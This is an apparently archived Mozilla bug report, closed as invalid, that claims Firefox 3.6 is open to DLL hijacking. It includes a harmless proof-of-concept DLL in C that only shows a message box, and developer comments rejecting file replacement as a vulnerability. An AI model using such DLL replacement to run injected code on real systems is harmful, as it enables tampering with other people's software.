609208 - browserdirprovider.dll and brwsrcmp.dll is prone to DLL hijacking vulnerability

Status: VERIFIED INVALID

(Firefox :: Security, defect)

Description

[again.liu]

User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12

A malicious DLL could be used to replace either browserdirprovider.dll or brwsrcmp.dll to perform arbitrary code.

Reproducible: Always

Steps to Reproduce:
complie the following code
Compiler : VC++ 2010 express
           Release 
           Runtime Library: Multi-threaded (/MT)
===============================================================================
#include<Windows.h>

void init()
{
	MessageBoxA(NULL, "owned by moigai", "injected!!", MB_OK);
}

BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
	switch(ul_reason_for_call)
	{
		case DLL_PROCESS_ATTACH:
			init();
			break;
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
			break;
	}
	return TRUE;
}
===============================================================================

And then replace the previous mentioned two DLL (either will do), then start firefox.
Actual Results:  
The message box coded will popup when starting firefox.

Comment 1

[Benjamin Smedberg]

Yes, if you replace Firefox files, you can break it. That's not exactly news ;-)

Comment 3

[(no longer active)]

You could also replace firefox.exe with:

void main() {
 for(;;);
}

The effects would be left as an exercise for the reader!  ;-)

Comment 4

[Daniel Veditz [:dveditz]]

> Yes, if you replace Firefox files, you can break it. That's not exactly news

Nor is it what's meant by "DLL hijacking".